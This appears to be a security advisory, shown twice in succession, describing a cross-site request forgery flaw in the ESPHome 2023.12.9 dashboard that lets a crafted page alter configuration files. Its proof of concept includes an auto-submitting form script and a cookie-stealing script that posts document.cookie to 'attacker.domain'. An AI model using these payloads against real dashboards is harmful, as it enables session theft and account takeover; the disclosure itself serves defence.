Summary
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).
Details
It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.
PoC
An example of malicious web page that abuses this vulnerability:
<script>
document.forms[0].submit();
</script>
<script>
</script>
In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.
Example of such script:
<script>
fetch('https://attacker.domain', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
Impact
This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.
In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
Summary
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).
Details
It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.
PoC
An example of malicious web page that abuses this vulnerability:
In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.
Example of such script:
<script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>Impact
This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.
In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.